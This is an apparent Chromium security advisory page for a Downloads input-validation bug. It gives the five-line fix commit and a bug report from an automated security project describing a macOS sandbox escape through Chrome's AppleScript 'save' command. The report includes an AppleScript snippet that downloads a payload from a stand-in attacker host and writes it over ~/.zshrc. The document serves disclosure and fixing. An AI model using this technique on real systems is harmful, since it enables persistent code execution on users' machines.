Medium chrome Logic Error 📄 Reporter bug report 🔧 Commit mapped

Overview

Medium
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInsufficient validation of untrusted input in Downloads
DescriptionInsufficient validation of untrusted input in Downloads
ComponentDownloads
Bug ClassLogic Error
Tracker501844153
Fix commite032bf1e5368 (chromium/src) +5/-0
CISA KEVNot listed
CreditedGoogle
Disclosed2026-06-02

Files Changed

  • content/browser/download/save_package.cc
From e032bf1e536899c147dff0454eab1bf17af87615 Mon Sep 17 00:00:00 2001
From: Avi Drissman <[email protected]>
Date: Fri, 01 May 2026 09:15:15 -0700
Subject: [PATCH] Sanitize file name in SavePackage

A SavePackage is a saved, packaged, web page. Ensure that the file name
provided for the main location has a reasonable and useful extension.

Fixed: 501844153
Link: https://chromium-review.googlesource.com/id/I0bbb8280464601d497f560a5f6cc5aca6a6a6964
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7807929
Commit-Queue: Avi Drissman <[email protected]>
Reviewed-by: Min Qin <[email protected]>
Cr-Commit-Position: refs/heads/main@{#1623862}
---

diff --git a/content/browser/download/save_package.cc b/content/browser/download/save_package.cc
index 83a40d39..921de5d 100644
--- a/content/browser/download/save_package.cc
+++ b/content/browser/download/save_package.cc
@@ -227,6 +227,11 @@
          saved_main_file_path_.value().length() <= kMaxFilePathLength);
   DCHECK(!saved_main_directory_path_.empty() &&
          saved_main_directory_path_.value().length() < kMaxFilePathLength);
+
+  // Ensure that the main path has a reasonable and useful extension.
+  net::GenerateSafeFileName(GetMimeTypeForSaveType(save_type),
+                            /*ignore_extension=*/true, &saved_main_file_path_);
+
   InternalInit();
 }
 
Loading diff…

Original Bug Report

reported by [email protected]

Sandbox escape via AppleScript `save` command allowing arbitrary file write

Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports without the Chrome Security team.

Overview: The AppleScript save command allows writing files to arbitrary paths without validation. A malicious sandboxed macOS app with the scripting-targets entitlement can use Chrome as a confused deputy to write to sensitive locations like ~/.zshrc, achieving a sandbox escape and RCE.

Affected files:

  • chrome/browser/ui/cocoa/applescript/tab_applescript.mm
  • chrome/browser/ui/cocoa/applescript/scripting.sdef
  • content/browser/download/save_package.cc
  • base/apple/foundation_util.mm

Estimated timestamp from git blame: 2024-12-19

Summary

Chrome for macOS exposes the save command via AppleScript (scripting.sdef). This command accepts an attacker-controlled absolute file path and passes it to the programmatic WebContents::SavePage API without performing any directory validation or user confirmation.

Because the save command is defined within a wildcard access group (<access-group identifier="*"/>), a sandboxed macOS application (such as one from the Mac App Store) can invoke this command silently—bypassing the standard Transparency, Consent, and Control (TCC) automation prompt—if it possesses the com.apple.security.scripting-targets entitlement for Chrome.

By directing Chrome to save a malicious payload (e.g., a .zshrc shell configuration file) to a sensitive location, a sandboxed attacker can escape the App Sandbox and achieve persistent Remote Code Execution (RCE) with the user’s full privileges.

Vulnerability Details

  1. Permissive AppleScript Access: In chrome/browser/ui/cocoa/applescript/scripting.sdef, the save command is exposed with <access-group identifier="*"/>. This configuration allows sandboxed macOS applications with the com.apple.security.scripting-targets entitlement targeting Chrome to execute the command without triggering a user-facing TCC prompt.
  2. Lack of Path Validation: When the AppleScript save command is processed, TabAppleScript::handlesSaveScriptCommand: (chrome/browser/ui/cocoa/applescript/tab_applescript.mm) extracts the target NSURL from the command’s arguments. It converts this to a base::FilePath and passes it directly to _webContents->SavePage(mainFile, directoryPath, savePageType). No checks are performed to ensure the path is within the Downloads folder or a safe location.
  3. Bypass of Safe File Generation: WebContentsImpl::SavePage uses a specific programmatic constructor for SavePackage (SavePackage::SavePackage(PageImpl& page, SavePageType save_type, const base::FilePath& file_full_path, ...)). This constructor directly assigns the attacker’s path to saved_main_file_path_, entirely bypassing the SavePackage::OnPathPicked flow. OnPathPicked is where net::GenerateSafeFileName is typically invoked during UI-initiated saves to sanitize filenames and force safe extensions.
  4. Raw File Write: If the AppleScript specifies as "only html", the type maps to content::SAVE_PAGE_TYPE_AS_ONLY_HTML. SavePackage then fetches the URL using SimpleURLLoader and writes the raw response bit-for-bit to a temporary file, which is eventually moved to the attacker’s specified path via base::Move (components/download/internal/common/base_file.cc).
  5. Sandbox Escape and Execution: Because the file write is executed by the privileged Chrome Browser process (which is not restricted by the macOS App Sandbox), the write to locations like ~/.zshrc succeeds. While Chrome applies the com.apple.quarantine extended attribute to the saved file, this does not prevent execution when targeting shell configuration files. When the user opens a Terminal, zsh sources ~/.zshrc using standard POSIX read operations that do not trigger Gatekeeper’s quarantine checks.

Potential Attack Steps

(Note: These are suggested steps for exploitation; our tooling has not executed a working proof of concept.)

  1. An attacker creates a malicious macOS application and publishes it to the Mac App Store (or signs it normally). The app includes the macOS App Sandbox entitlement and the com.apple.security.scripting-targets entitlement targeting com.google.Chrome.
  2. The attacker hosts a malicious .zshrc payload at a server they control (e.g., http://attacker.example/payload).
  3. The sandboxed application silently executes the following AppleScript:
    tell application "Google Chrome"
      set t to (make new tab at end of tabs of window 1 with properties {URL:"http://attacker.example/payload"})
      -- Wait for the payload to load
      save t in (POSIX file "/Users/[username]/.zshrc") as "only html"
    end tell
    
  4. Chrome fetches the payload and writes it to ~/.zshrc, overwriting any existing file without prompting the user.
  5. The next time the user opens Terminal.app, zsh sources the malicious configuration file, granting the attacker persistent RCE outside the sandbox.

Suggested Fix

  1. Validate AppleScript Paths: TabAppleScript::handlesSaveScriptCommand: should validate that the provided file path is within a directory where the user expects files to be saved programmatically (e.g., the default Downloads directory), or it should fall back to prompting the user via OnSavePage() if a specific path is provided. Alternatively, ensure the provided path is passed through net::GenerateSafeFileName.
  2. Review Access Groups: Consider whether powerful commands like save should be included in the wildcard <access-group identifier="*"/> in scripting.sdef, as this bypasses TCC automation prompts.

Evaluated with Chrome root at commit: 096fc8fdbfacf2546485756d03f160a3d04fcc9b


Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

View on issue tracker